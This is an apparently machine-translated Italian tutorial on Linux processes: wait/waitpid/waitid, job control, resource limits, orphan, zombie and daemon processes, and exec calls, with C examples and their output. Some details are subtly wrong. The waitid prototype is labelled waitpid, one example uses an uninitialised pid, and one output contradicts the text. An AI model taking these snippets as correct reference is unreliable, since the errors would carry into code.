5942779 86402 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
5942779 87027 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
7528790 87629 0 0 Jan20 ? 00:00:39 /sbin/klogd -c 1 -x -x
7528790 87719 0 0 Jan20 ? 00:00:27 /sbin/klogd -c 1 -x -x
4688328 88138 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
4688328 88140 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
5942779 89353 0 99 Jan22 ? 2-07:41:15 /sbin/klogd -c 1 -x -x
5942779 91836 0 0 Jan22 ? 00:00:00 [/sbin/klogd -c ] <defunct>
4688328 125358 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
3108506 125359 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
4688328 127456 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
3108506 127457 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
8023807 191762 0 0 05:47 ? 00:00:00 sh -c cd /home/cg/root/8023807; timeout 10s main
8023807 191768 191762 0 05:47 ? 00:00:00 timeout 10s main
8023807 191769 191768 0 05:47 ? 00:00:00 main
8023807 191770 191769 0 05:47 ? 00:00:00 main
8023807 192193 0 0 05:47 ? 00:00:00 sh -c cd /home/cg/root/8023807; timeout 10s main
8023807 192199 192193 0 05:47 ? 00:00:00 timeout 10s main
8023807 192200 192199 0 05:47 ? 00:00:00 main
8023807 192201 192200 0 05:47 ? 00:00:00 main
8023807 192202 192201 0 05:47 ? 00:00:00 ps -ef
Note- Anche se il figlio restituisce lo stato di uscita di 3, perché il processo genitore lo vede come 768. Lo stato è memorizzato nel byte di ordine superiore, quindi è memorizzato in formato esadecimale come 0X0300, che è 768 in decimale. La risoluzione normale è la seguente
Byte di ordine superiore (bit da 8 a 15) | Byte di ordine inferiore (bit da 0 a 7) |
Stato di uscita (da 0 a 255) | 0 |
La chiamata di sistema wait () ha una limitazione in quanto può solo aspettare fino all'uscita del figlio successivo. Se abbiamo bisogno di aspettare un bambino specifico non è possibile usare wait (), tuttavia, è possibile usare la chiamata di sistema waitpid ().
La chiamata di sistema waitpid () aspetterebbe che i figli specificati terminino e restituisca il suo stato di terminazione nel buffer come spiegato di seguito.
#include <sys/types.h>
#include <sys/wait.h>
pid_t waitpid(pid_t pid, int *status, int options);
La chiamata precedente restituisce l'ID di processo del figlio terminato in caso di successo e -1 in caso di fallimento. La chiamata di sistema waitpid () sospende l'esecuzione del processo corrente e attende indefinitamente finché i figli specificati (secondo il valore pid) terminano. Lo stato di cessazione dal bambino è disponibile nello stato.
Il valore di pid può essere uno dei seguenti:
< -1 - Attendi qualsiasi processo figlio il cui ID gruppo di processi è uguale al valore assoluto di pid.
-1 - Attendi qualsiasi processo figlio, che è uguale a quello della chiamata di sistema wait ().
0 - Attendi qualsiasi processo figlio il cui ID gruppo di processi è uguale a quello del processo chiamante.
>0 - Attendi qualsiasi processo figlio il cui ID processo è uguale al valore di pid.
Per impostazione predefinita, la chiamata di sistema waitpid () attende solo i figli terminati ma questo comportamento predefinito può essere modificato utilizzando l'argomento opzioni.
Consideriamo ora un programma come esempio, in attesa di un processo specifico con il suo id di processo.
/ * Nome file: waitpid_test.c * /
#include<stdio.h>
#include<unistd.h>
#include<sys/types.h>
#include<sys/wait.h>
int main() {
int pid;
int pids[3];
int status;
int numprocesses = 0;
int total_processes = 3;
while (numprocesses < total_processes) {
pid = fork();
// Child process
if (pid == 0) {
printf("In child process: process id is %d\n", getpid());
sleep(5);
return 4;
} else {
pids[numprocesses] = pid;
numprocesses++;
printf("In parent process: created process number: %d\n", pid);
}
}
// Waiting for 3rd child process
waitpid(pids[total_processes - 1], &status, 0);
if (WIFEXITED(status) != 0) {
printf("process %d exited normally\n", pids[total_processes - 1]);
printf("exit status from child is %d\n", WEXITSTATUS(status));
} else {
printf("process %d not exited normally\n", pids[total_processes - 1]);
}
return 0;
}
Dopo la compilazione e l'esecuzione, segue l'output.
In child process: process id is 32528
In parent process: created process number: 32528
In child process: process id is 32529
In parent process: created process number: 32528
In parent process: created process number: 32529
In child process: process id is 32530
In parent process: created process number: 32528
In parent process: created process number: 32529
In parent process: created process number: 32530
process 32530 exited normally
exit status from child is 4
Ora, controlliamo la chiamata di sistema waitid (). Questa chiamata di sistema attende che il processo figlio cambi stato.
#include <sys/wait.h>
int waitpid(idtype_t idtype, id_t id, siginfo_t *infop, int options);
La chiamata di sistema precedente attende che il processo figlio cambi lo stato e questa chiamata sospende il processo corrente / chiamante fino a quando uno qualsiasi dei suoi processi figlio cambia il suo stato. L'argomento "infop" serve per registrare lo stato corrente del bambino. Questa chiamata ritorna immediatamente, se il processo ha già cambiato il suo stato.
Il valore di idtype può essere uno dei seguenti:
P_PID - Attendi qualsiasi processo figlio il cui ID processo è uguale a quello di id.
P_PGID - Attendi qualsiasi processo figlio, il cui ID gruppo di processi è uguale a quello di id.
P_ALL - Attendi qualsiasi processo figlio e l'ID viene ignorato.
L'argomento delle opzioni serve a specificare quale stato cambia e questo può essere formato con un'operazione OR bit per bit con i flag indicati di seguito -
WCONTINUED - Restituisce lo stato di ogni bambino che è stato fermato ed è stato continuato.
WEXITED - Attende che il processo termini.
WNOHANG - Ritorna immediatamente.
WSTOPPED - Attende il processo di qualsiasi bambino che si è fermato, al ricevimento del segnale e restituisce lo stato.
Questa chiamata restituisce 0, se ritorna a causa di una modifica dello stato di uno dei suoi figli e viene utilizzato WNOHANG. Restituisce –1, in caso di errore e imposta il numero di errore appropriato.
/ * Nome file: waitid_test.c * /
#include<stdio.h>
#include<unistd.h>
#include<sys/types.h>
#include<sys/wait.h>
int main() {
int pid;
int pids[3];
int status;
int numprocesses = 0;
int total_processes = 3;
siginfo_t siginfo;
while (numprocesses < total_processes) {
pid = fork();
// Child process
if (pid == 0) {
printf("In child process: process id is %d\n", getpid());
sleep(5);
return 2;
} else {
pids[numprocesses] = pid;
numprocesses++;
printf("In parent process: created process number: %d\n", pid);
}
}
// Waiting for 3rd child process
status = waitid(P_PID, pids[total_processes - 1], &siginfo, WEXITED);
if (status == -1) {
perror("waitid error");
return 1;
}
printf("Info received from waitid is: ");
printf("PID of child: %d, real user id of child: %d\n", siginfo.si_pid, siginfo.si_uid);
return 0;
}
Dopo l'esecuzione e la compilazione del programma di cui sopra, segue il risultato.
In child process: process id is 35390
In parent process: created process number: 35390
In child process: process id is 35391
In parent process: created process number: 35390
In parent process: created process number: 35391
In child process: process id is 35392
In parent process: created process number: 35390
In parent process: created process number: 35391
In parent process: created process number: 35392
Info received from waitid is: PID of child: 35392, real user id of child: 4581875
In questo capitolo, acquisiremo familiarità con i gruppi di processi, le sessioni e il controllo dei lavori.
Process Group- Il gruppo di processi è una raccolta di uno o più processi. Un gruppo di processi è costituito da uno o più processi che condividono lo stesso identificatore di gruppo di processi (PGID). Un ID gruppo di processo (PGID) è dello stesso tipo (pid_t) dell'ID di processo. Un gruppo di processi ha un leader di gruppo di processi, che è il processo che crea il gruppo e il cui ID processo diventa l'ID gruppo di processi del gruppo.
Sessions - È una raccolta di vari gruppi di processi.
Job Control- Ciò consente a un utente della shell di eseguire simultaneamente più comandi (o lavori), uno in primo piano e tutti rimanenti in background. È anche possibile spostare i lavori dal primo piano allo sfondo e viceversa.
Cerchiamo di capirlo con l'aiuto di programmi di esempio che utilizzano shell (BASH).
Script di shell (in BASH) per eseguire i comandi di base (date, echo, sleep e cal) denominati basic_commands.sh
Script di shell (in BASH) per eseguire i comandi di base (ps, echo)
#!/bin/bash
#basic_commands.sh
date
echo "Now sleeping for 250 seconds, so that testing job control functionality is smooth"
sleep 250
cal
#!/bin/bash
#process_status.sh
ps
echo "Now sleeping for 200 seconds, so that testing job control functionality is smooth"
sleep 200
ps
Usa il comando chmod per dare al file i permessi di esecuzione. Per impostazione predefinita, il file normale otterrebbe solo i permessi di lettura e scrittura e non i permessi di esecuzione.
Per interrompere il processo in esecuzione corrente, è necessario immettere CTRL + Z. Questo ti dà un numero di lavoro. Il lavoro può essere ripreso in primo piano o in background. Se necessario, per riprendere il lavoro in primo piano utilizzare il comando "fg". Se necessario, per riprendere il lavoro in background, utilizzare il comando "bg". Usando questo, verrà eseguito solo l'ultimo processo interrotto. Cosa succede se si desidera avviare un processo diverso dall'ultimo processo interrotto? Usa semplicemente il numero del lavoro dopo fg o bg (ad esempio bg% 2 o bg% 3, ecc.). Se il lavoro in esecuzione è in background, è possibile eseguire qualsiasi altra attività in primo piano. Per ottenere l'elenco dei lavori, usa il comando, lavori. È anche possibile terminare il processo con CTRL + C o con il comando kill. È possibile passare il numero del lavoro mentre si utilizza il comando kill.
Controllare il seguente output che dimostra l'arresto dei lavori, lo spostamento dei lavori dal primo piano allo sfondo e viceversa, la conclusione dei lavori, ecc.
chmod u+x basic_commands.sh
chmod u+x process_status.sh
./basic_commands.sh
Wed Jul 5 18:30:27 IST 2017
Now sleeping for 250 seconds, so that testing job control functionality is smooth
^Z
[1]+ Stopped ./basic_commands.sh
./process_status.sh
PID TTY TIME CMD
2295 pts/1 00:00:00 bash
4222 pts/1 00:00:00 basic_commands.
4224 pts/1 00:00:00 sleep
4225 pts/1 00:00:00 process_status.
4226 pts/1 00:00:00 ps
Now sleeping for 200 seconds, so that testing job control functionality is smooth
^Z
[2]+ Stopped ./process_status.sh
jobs
[1]- Stopped ./basic_commands.sh
[2]+ Stopped ./process_status.sh
fg
./process_status.sh
^Z
[2]+ Stopped ./process_status.sh
fg %2
./process_status.sh
^Z
[2]+ Stopped ./process_status.sh
fg %1
./basic_commands.sh
^Z
[1]+ Stopped ./basic_commands.sh
jobs
[1]+ Stopped ./basic_commands.sh
[2]- Stopped ./process_status.sh
bg %2
[2]- ./process_status.sh &
fg
./basic_commands.sh
^Z
[1]+ Stopped ./basic_commands.sh
jobs
[1]+ Stopped ./basic_commands.sh
[2]- Running ./process_status.sh &
fg %2
./process_status.sh
^Z
[2]+ Stopped ./process_status.sh
jobs
[1]- Stopped ./basic_commands.sh
[2]+ Stopped ./process_status.sh
kill %1 %2
[1]- Stopped ./basic_commands.sh
[2]+ Stopped ./process_status.sh
[1]- Terminated ./basic_commands.sh
[2]+ Terminated ./process_status.sh
Il processo richiede determinate risorse come CPU e memoria per eseguire le attività. Ora esamineremo i comandi e le chiamate di sistema correlati per conoscere le informazioni sull'utilizzo e il monitoraggio delle risorse. Inoltre ci sono determinati limiti per impostazione predefinita per ogni processo sulle risorse e, se necessario, i limiti possono essere migliorati per soddisfare i requisiti dell'applicazione.
Di seguito sono riportate le informazioni essenziali sulle risorse di sistema o di processo utilizzando i comandi:
Il comando in alto
$ top
Il comando top mostra continuamente l'utilizzo delle risorse di sistema. Se un processo mette il sistema in una sorta di stato di blocco (consumando più CPU o memoria) è possibile annotare le informazioni sul processo e intraprendere l'azione appropriata (come uccidere il processo correlato).
Il comando ps
$ ps
Il comando ps fornisce informazioni su tutti i processi in esecuzione. Questo aiuta a monitorare e controllare i processi.
Il comando vmstat
$ vmstat
Il comando vmstat riporta le statistiche del sottosistema di memoria virtuale. Riporta le informazioni sui processi (in attesa di essere eseguiti, dormienti, processi eseguibili, ecc.), Memoria (informazioni sulla memoria virtuale come libera, utilizzata, ecc.), Area di scambio, dispositivi IO, informazioni di sistema (numero di interrupt, cambi di contesto ) e CPU (utente, sistema e tempo di inattività).
Il comando lsof
$ lsof
Il comando lsof stampa l'elenco dei file aperti di tutti i processi in esecuzione correnti, inclusi i processi di sistema.
Il comando getconf
$ getconf –a
Il comando getconf visualizza le informazioni sulle variabili di configurazione del sistema.
Ora, diamo uno sguardo alle relative chiamate di sistema.
Chiamata di sistema getrusage (), che fornisce informazioni sull'utilizzo delle risorse di sistema.
Chiamate di sistema relative all'accesso e all'impostazione dei limiti delle risorse, vale a dire getrlimit (), setrlimit (), prlimit ().
Chiamata sull'utilizzo delle risorse di sistema
#include <sys/time.h>
#include <sys/resource.h>
int getrusage(int who, struct rusage *usage);
La chiamata di sistema getrusage () restituisce le informazioni sull'utilizzo delle risorse di sistema. Ciò può includere informazioni su se stessi, figli o thread chiamanti utilizzando i flag RUSAGE_SELF, RUSAGE_CHILDREN, RUSAGE_THREAD per la variabile "who". Dopo la chiamata, restituisce le informazioni nella struttura rusage.
Questa chiamata restituirà "0" in caso di successo e "-1" in caso di fallimento.
Esaminiamo il seguente programma di esempio.
/ * Nome file: sysinfo_getrusage.c * /
#include<stdio.h>
#include<sys/time.h>
#include<sys/resource.h>
void main(void) {
struct rusage res_usage;
int retval;
retval = getrusage(RUSAGE_SELF, &res_usage);
if (retval == -1) {
perror("getrusage error");
return;
}
printf("Details of getrusage:\n");
printf("User CPU time (seconds) is %d\n", (int)res_usage.ru_utime.tv_sec);
printf("User CPU time (micro seconds) is %d\n", (int)res_usage.ru_utime.tv_usec);
printf("Maximum size of resident set (kb) is %ld\n", res_usage.ru_maxrss);
printf("Soft page faults (I/O not required) is %ld\n", res_usage.ru_minflt);
printf("Hard page faults (I/O not required) is %ld\n", res_usage.ru_majflt);
printf("Block input operations via file system is %ld\n", res_usage.ru_inblock);
printf("Block output operations via file system is %ld\n", res_usage.ru_oublock);
printf("Voluntary context switches are %ld\n", res_usage.ru_nvcsw);
printf("Involuntary context switches are %ld\n", res_usage.ru_nivcsw);
return;
}
Fasi di compilazione ed esecuzione
Details of getrusage:
User CPU time (seconds) is 0
User CPU time (micro seconds) is 0
Maximum size of resident set (kb) is 364
Soft page faults (I/O not required) is 137
Hard page faults (I/O not required) is 0
Block input operations via file system is 0
Block output operations via file system is 0
Voluntary context switches are 0
Involuntary context switches are 1
Vediamo ora le chiamate di sistema relative all'accesso e all'impostazione dei limiti delle risorse.
#include <sys/time.h>
#include <sys/resource.h>
int getrlimit(int resource, struct rlimit *rlim);
int setrlimit(int resource, const struct rlimit *rlim);
int prlimit(pid_t pid, int resource, const struct rlimit *new_limit, struct rlimit *old_limit);
La chiamata di sistema getrlimit() ottiene i limiti delle risorse nella struttura rlimit inserendo la risorsa di cui ha bisogno come RLIMIT_NOFILE, RLIMIT_NPROC, RLIMIT_STACK, ecc.
La chiamata di sistema setrlimit() imposta i limiti delle risorse come indicato nella struttura rlimit per quanto entro i limiti.
La chiamata di sistema prlimit() viene utilizzato per vari scopi, ad esempio per recuperare i limiti delle risorse correnti o per aggiornare i limiti delle risorse a nuovi valori.
La struttura rlimit contiene due valori:
Soft limit - Limite di corrente
Hard limit - Limite massimo al quale può essere esteso.
RLIMIT_NOFILE
RLIMIT_NPROC - Numero massimo di processi che possono essere creati per un utente di quel processo.
RLIMIT_STACK - La dimensione massima in byte del segmento dello stack per quel processo.
Tutte queste chiamate restituirebbero "0" in caso di successo e "-1" in caso di fallimento.
Consideriamo il seguente esempio in cui stiamo usando la chiamata di sistema getrlimit ().
/ * Nome file: sysinfo_getrlimit.c * /
#include<stdio.h>
#include<sys/time.h>
#include<sys/resource.h>
void main(void) {
struct rlimit res_limit;
int retval;
int resources[] = {RLIMIT_NOFILE, RLIMIT_NPROC, RLIMIT_STACK};
int max_res;
int counter = 0;
printf("Details of resource limits for NOFILE, NPROC, STACK are as follows: \n");
max_res = sizeof(resources)/sizeof(int);
while (counter < max_res) {
retval = getrlimit(resources[counter], &res_limit);
if (retval == -1) {
perror("getrlimit error");
return;
}
printf("Soft Limit is %ld\n", res_limit.rlim_cur);
printf("Hard Limit (ceiling) is %ld\n", res_limit.rlim_max);
counter++;
}
return;
}
Fasi di compilazione ed esecuzione
Details of resource limits for NOFILE, NPROC, STACK are as follows:
Soft Limit is 516
Hard Limit (ceiling) is 516
Soft Limit is 256
Hard Limit (ceiling) is 256
Soft Limit is 33554432
Hard Limit (ceiling) is 33554432
Consideriamo un altro esempio con la chiamata di sistema getrlimit () ma ora con la chiamata di sistema prlimit ().
/ * Nome file: sysinfo_prlimit.c * /
#include<stdio.h>
#include<unistd.h>
#include<sys/time.h>
#include<sys/resource.h>
void main(void) {
struct rlimit res_limit;
int retval;
int resources[] = {RLIMIT_NOFILE, RLIMIT_NPROC, RLIMIT_STACK};
int max_res;
int counter = 0;
printf("Details of resource limits for NOFILE, NPROC, STACK using prlimit are as follows: \n");
max_res = sizeof(resources)/sizeof(int);
while (counter < max_res) {
retval = prlimit(getpid(), resources[counter], NULL, &res_limit);
if (retval == -1) {
perror("prlimit error");
return;
}
printf("Soft Limit is %ld\n", res_limit.rlim_cur);
printf("Hard Limit (ceiling) is %ld\n", res_limit.rlim_max);
counter++;
}
return;
}
Fasi di compilazione ed esecuzione
Details of resource limits for NOFILE, NPROC, STACK using prlimit are as follows:
Soft Limit is 516
Hard Limit (ceiling) is 516
Soft Limit is 256
Hard Limit (ceiling) is 256
Soft Limit is 33554432
Hard Limit (ceiling) is 33554432
Finora, abbiamo discusso dei processi, della sua creazione, dei processi padre e figlio, ecc. La discussione sarà incompleta senza discutere altri processi correlati, come il processo Orphan, il processo Zombie e il processo Daemon.
Processo orfano
Come indicato dal nome, orfano implica un processo senza genitori. Quando eseguiamo un programma o un'applicazione, il processo principale dell'applicazione è shell. Quando creiamo un processo usando fork (), il processo appena creato è il processo figlio e il processo che ha creato il figlio è il processo genitore. A sua volta, il processo genitore di questo è shell. Ovviamente, il genitore di tutti i processi è init process (Process ID → 1).
Quanto sopra è uno scenario normale, tuttavia, cosa succede se il processo genitore esce prima del processo figlio. Il risultato è che il processo figlio ora diventa il processo orfano. Allora per quanto riguarda il suo genitore, il suo nuovo genitore è il genitore di tutti i processi, che non è altro che init process (Process ID - 1).
Cerchiamo di capirlo usando il seguente esempio.
/ * Nome file: orphan_process.c * /
#include<stdio.h>
#include<stdlib.h>
int main() {
int pid;
system("ps -f");
pid = fork();
if (pid == 0) {
printf("Child: pid is %d and ppid is %d\n",getpid(),getppid());
sleep(5);
printf("Child: pid is %d and ppid is %d\n",getpid(),getppid());
system("ps -f");
} else {
printf("Parent: pid is %d and ppid is %d\n",getpid(),getppid());
sleep(2);
exit(0);
}
return 0;
}
Fasi di compilazione ed esecuzione
UID PID PPID C STIME TTY TIME CMD
4581875 180558 0 0 09:19 ? 00:00:00 sh -c cd /home/cg/root/4581875;
timeout 10s main
4581875 180564 180558 0 09:19 ? 00:00:00 timeout 10s main
4581875 180565 180564 0 09:19 ? 00:00:00 main
4581875 180566 180565 0 09:19 ? 00:00:00 ps -f
Parent: pid is 180565 and ppid is 180564
UID PID PPID C STIME TTY TIME CMD
4581875 180567 0 0 09:19 ? 00:00:00 main
4581875 180820 180567 0 09:19 ? 00:00:00 ps -f
Child: pid is 180567 and ppid is 180565
Child: pid is 180567 and ppid is 0
Processo Zombie
In termini semplici, supponi di avere due processi, vale a dire il processo genitore e figlio. È responsabilità del processo padre attendere il processo figlio e quindi ripulire la voce del processo figlio dalla tabella dei processi. Cosa succede se il processo genitore non è pronto ad attendere il processo figlio e nel frattempo il processo figlio svolge il suo lavoro ed esce? Ora, il processo figlio diventerebbe il processo zombi. Naturalmente, il processo zombie viene ripulito dopo che il processo genitore è pronto.
Cerchiamo di capirlo con l'aiuto di un esempio.
/ * Nome file: zombie_process.c * /
#include<stdio.h>
#include<stdlib.h>
int main() {
int pid;
pid = fork();
if (pid == 0) {
system("ps -f");
printf("Child: pid is %d and ppid is %d\n",getpid(),getppid());
exit(0);
} else {
printf("Parent: pid is %d and ppid is %d\n",getpid(),getppid());
sleep(10);
system("ps aux|grep Z");
}
return 0;
}
Fasi di compilazione ed esecuzione
UID PID PPID C STIME TTY TIME CMD
4581875 184946 0 0 09:20 ? 00:00:00 sh -c cd /home/cg/root/4581875;
timeout 10s main
4581875 184952 184946 0 09:20 ? 00:00:00 timeout 10s main
4581875 184953 184952 0 09:20 ? 00:00:00 main
4581875 184954 184953 0 09:20 ? 00:00:00 main
4581875 184955 184954 0 09:20 ? 00:00:00 ps -f
Child: pid is 184954 and ppid is 184953
Processo daemon
In termini semplici, il processo che non ha alcuna shell o terminale associato è noto come processo daemon. Perché è necessario? Questi sono i processi che vengono eseguiti in background per eseguire azioni a intervalli predefiniti e rispondere anche a determinati eventi. Il processo daemon non dovrebbe avere alcuna interazione da parte dell'utente, poiché viene eseguito come processo in background.
I processi interni del demone Linux di solito terminano con la lettera "d" come i demoni del kernel (ksoftirqd, kblockd, kswapd, ecc.), I demoni di stampa (cupsd, lpd, ecc.), I demoni del servizio file (smbd, nmbd, ecc.) , Daemon di database amministrativi (ypbind, ypserv, ecc.), Daemon di posta elettronica (sendmail, popd, smtpd, ecc.), Daemon di accesso remoto ed esecuzione di comandi (sshd, in.telnetd, ecc.), Daemon di avvio e configurazione (dhcpd , udevd, ecc.), init process (init), cron daemon, atd daemon, ecc.
Vediamo ora come creare un processo daemon. Di seguito sono riportati i passaggi:
Step 1- Crea un processo figlio. Ora abbiamo due processi: il processo genitore e il processo figlio
Di solito la gerarchia del processo è SHELL → PARENT PROCESS → CHILD PROCESS
Step 2- Termina il processo genitore uscendo. Il processo figlio ora diventa il processo orfano e viene rilevato da init process.
Ora, la gerarchia è INIT PROCESS → CHILD PROCESS
Step 3- La chiamata alla chiamata di sistema setsid () crea una nuova sessione, se il processo chiamante non è un leader del gruppo di processi. Ora il processo di chiamata diventa il capogruppo della nuova sessione. Questo processo sarà l'unico processo in questo nuovo gruppo di processi e in questa nuova sessione.
Step 4 - Impostare l'ID del gruppo di processi e l'ID di sessione su PID del processo chiamante.
Step 5 - Chiudere i descrittori di file predefiniti (input standard, output standard ed errore standard) del processo poiché il terminale e la shell sono ora scollegati dall'applicazione.
/ * Nome file: daemon_test.c * /
#include<stdio.h>
#include<sys/types.h>
#include<sys/stat.h>
#include<unistd.h>
#include<fcntl.h>
#include<stdlib.h>
#include<string.h>
int main(int argc, char *argv[]) {
pid_t pid;
int counter;
int fd;
int max_iterations;
char buffer[100];
if (argc < 2)
max_iterations = 5;
else {
max_iterations = atoi(argv[1]);
if ( (max_iterations <= 0) || (max_iterations > 20) )
max_iterations = 10;
}
pid = fork();
// Unable to create child process
if (pid < 0) {
perror("fork error\n");
exit(1);
}
// Child process
if (pid == 0) {
fd = open("/tmp/DAEMON.txt", O_WRONLY|O_CREAT|O_TRUNC, 0644);
if (fd == -1) {
perror("daemon txt file open error\n");
return 1;
}
printf("Child: pid is %d and ppid is %d\n", getpid(), getppid());
printf("\nChild process before becoming session leader\n");
sprintf(buffer, "ps -ef|grep %s", argv[0]);
system(buffer);
setsid();
printf("\nChild process after becoming session leader\n");
sprintf(buffer, "ps -ef|grep %s", argv[0]);
system(buffer);
close(STDIN_FILENO);
close(STDOUT_FILENO);
close(STDERR_FILENO);
} else {
printf("Parent: pid is %d and ppid is %d\n", getpid(), getppid());
printf("Parent: Exiting\n");
exit(0);
}
// Executing max_iteration times
for (counter = 0; counter < max_iterations; counter++) {
sprintf(buffer, "Daemon process: pid is %d and ppid is %d\n", getpid(), getppid());
write(fd, buffer, strlen(buffer));
sleep(2);
}
strcpy(buffer, "Done\n");
write(fd, buffer, strlen(buffer));
// Can't print this as file descriptors are already closed
printf("DoneDone\n");
close(fd);
return 0;
}
Parent: pid is 193524 and ppid is 193523
Parent: Exiting
4581875 193525 0 0 09:23 ? 00:00:00 main
4581875 193526 193525 0 09:23 ? 00:00:00 sh -c ps -ef|grep main
4581875 193528 193526 0 09:23 ? 00:00:00 grep main
4581875 193525 0 0 09:23 ? 00:00:00 main
4581875 193529 193525 0 09:23 ? 00:00:00 sh -c ps -ef|grep main
4581875 193531 193529 0 09:23 ? 00:00:00 grep main
Supponiamo che stiamo eseguendo un programma e vogliamo eseguire un altro programma dal programma corrente. È possibile? Perché no, se implementiamo il concetto di sovrapposizione dell'immagine di processo. Va bene, ma per quanto riguarda l'attuale programma in esecuzione, può essere eseguito anche quello. Com'è possibile, visto che abbiamo sovrapposto il programma corrente al nuovo programma. Cosa fare, se voglio eseguire i due programmi senza perdere il programma in esecuzione, è possibile? Sì, è possibile.
Creare un processo figlio, in modo da avere un processo padre e un processo figlio appena creato. Stiamo già eseguendo il programma corrente nel processo genitore, quindi esegui il processo appena creato nel processo figlio. In questo modo, possiamo eseguire un altro programma dal programma corrente. Non solo un singolo programma, ma possiamo eseguire un numero qualsiasi di programmi dal programma corrente creando quel numero di processi figlio.
Consideriamo il seguente programma come esempio.
/ * Nome file: helloworld.c * /
#include<stdio.h>
void main() {
printf("Hello World\n");
return;
}
/ * Nome file: execl_test.c * /
#include<stdio.h>
#include<unistd.h>
void main() {
execl("./helloworld", "./helloworld", (char *)0);
printf("This wouldn't print\n");
return;
}
Il programma sopra sovrascriverà l'immagine di processo di execl_test con helloworld. Questo è il motivo per cui il codice dell'immagine di processo di execl_test (printf ()) non viene eseguito.
Fasi di compilazione ed esecuzione
Hello World
Ora, eseguiremo i seguenti due programmi da un programma, cioè, execl_run_two_prgms.c.
Programma Hello World (helloworld.c)
Programma ciclo while per stampare da 1 a 10 (while_loop.c)
/ * Nome file: while_loop.c * /
/* Prints numbers from 1 to 10 using while loop */
#include<stdio.h>
void main() {
int value = 1;
while (value <= 10) {
printf("%d\t", value);
value++;
}
printf("\n");
return;
}
Di seguito è riportato il programma per eseguire due programmi (un programma da bambino e un altro programma da genitore).
/ * Nome file: execl_run_two_prgms.c * /
#include<stdio.h>
#include<unistd.h>
void main() {
int pid;
pid = fork();
/* Child process */
if (pid == 0) {
printf("Child process: Running Hello World Program\n");
execl("./helloworld", "./helloworld", (char *)0);
printf("This wouldn't print\n");
} else { /* Parent process */
sleep(3);
printf("Parent process: Running While loop Program\n");
execl("./while_loop", "./while_loop", (char *)0);
printf("Won't reach here\n");
}
return;
}
Note - Effettua la chiamata sleep () per assicurarti che i processi figlio e genitore vengano eseguiti in sequenza (non sovrapporre il risultato).
Fasi di compilazione ed esecuzione
Child process: Running Hello World Program
This wouldn't print
Parent process: Running While loop Program
Won't reach here
Ora dovremmo eseguire due programmi da un programma, cioè, execl_run_two_prgms.c, lo stesso programma come sopra ma con argomenti della riga di comando. Quindi, stiamo eseguendo due programmi e cioè helloworld.c nel processo figlio e il programma while_loop.c nel processo genitore. Questo è il seguente:
Programma Hello World (helloworld.c)
Programma ciclo while per stampare da 1 a num_times_str secondo gli argomenti della riga di comando (while_loop.c)
Questo programma esegue in generale le seguenti azioni:
Crea un processo figlio
Il processo figlio esegue il programma helloworld.c
Il processo padre esegue il programma while_loop.c passando il valore dell'argomento della riga di comando come argomento al programma. Se gli argomenti della riga di comando non vengono passati, il valore predefinito è 10. Altrimenti, accetta il valore dell'argomento specificato. Il valore dell'argomento dovrebbe essere numerico; il codice non verrebbe convalidato se fornito in alfabeti.
/ * Nome file: execl_run_two_prgms.c * /
#include<stdio.h>
#include<string.h>
#include<unistd.h>
void main(int argc, char *argv[0]) {
int pid;
int err;
int num_times;
char num_times_str[5];
/* In no command line arguments are passed, then loop maximum count taken as 10 */
if (argc == 1) {
printf("Taken loop maximum as 10\n");
num_times = 10;
sprintf(num_times_str, "%d", num_times);
} else {
strcpy(num_times_str, argv[1]);
printf("num_times_str is %s\n", num_times_str);
pid = fork();
}
/* Child process */
if (pid == 0) {
printf("Child process: Running Hello World Program\n");
err = execl("./helloworld", "./helloworld", (char *)0);
printf("Error %d\n", err);
perror("Execl error: ");
printf("This wouldn't print\n");
} else { /* Parent process */
sleep(3);
printf("Parent process: Running While loop Program\n");
execl("./while_loop", "./while_loop", (char *)num_times_str, (char *)0);
printf("Won't reach here\n");
}
return;
}
Di seguito è riportato il programma helloworld.c chiamato dal processo figlio del programma, execl_run_two_prgms.c.
/ * Nome file: helloworld.c * /
#include<stdio.h>
void main() {
printf("Hello World\n");
return;
}
Di seguito è riportato il programma while_loop.c chiamato dal processo genitore del programma, execl_run_two_prgms.c. L'argomento di questo programma viene passato dal programma che lo esegue, ovvero execl_run_two_prgms.c.
/ * Nome file: while_loop.c * /
#include<stdio.h>
void main(int argc, char *argv[]) {
int start_value = 1;
int end_value;
if (argc == 1)
end_value = 10;
else
end_value = atoi(argv[1]);
printf("Argv[1] is %s\n", argv[1]);
while (start_value <= end_value) {
printf("%d\t", start_value);
start_value++;
}
printf("\n");
return;
}
Fasi di compilazione ed esecuzione
Taken loop maximum as 10
num_times_str is 10
Child process: Running Hello World Program
Hello World
Parent process: Running While loop Program
Argv[1] is 10
1 2 3 4 5 6 7 8 9 10
Taken loop maximum as 15
num_times_str is 15
Child process: Running Hello World Program
Hello World
Parent process: Running While loop Program
Argv[1] is 15
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
Vediamo ora le funzioni di libreria relative alle immagini sovrapposte.
#include<unistd.h>
int execl(const char *path, const char *arg, ...);
Questa funzione si sovrappone all'immagine del processo in esecuzione corrente con il nuovo processo come menzionato negli argomenti, nel percorso e nell'argomento. Se un argomento deve essere passato a una nuova immagine di processo, verrà inviato tramite argomenti "arg" e l'ultimo argomento dovrebbe essere NULL.
Questa funzione restituirà un valore solo in caso di errore. Il processo di sovrapposizione delle chiamate relative all'immagine è indicato di seguito:
int execl(const char *path, const char *arg, ...);
int execlp(const char *file, const char *arg, ...);
int execle(const char *path, const char *arg, ..., char * const envp[]);
int execv(const char *path, char *const argv[]);
int execvp(const char *file, char *const argv[]);
int execvpe(const char *file, char *const argv[], char *const envp[]);
Queste chiamate indirizzerebbero il passaggio di argomenti della riga di comando (argv []), variabili di ambiente (envp []) e altri parametri.
La tabella seguente elenca le varie chiamate di sistema insieme alla loro descrizione.
Categoria | Chiamata di sistema | Descrizione |
---|---|---|
Generale | Aperto () | Questa chiamata di sistema apre un file già esistente o crea e apre un nuovo file. |
Generale | creat () | Crea e apre un nuovo file. |
Generale | leggere () | Legge il contenuto del file nel buffer richiesto. |
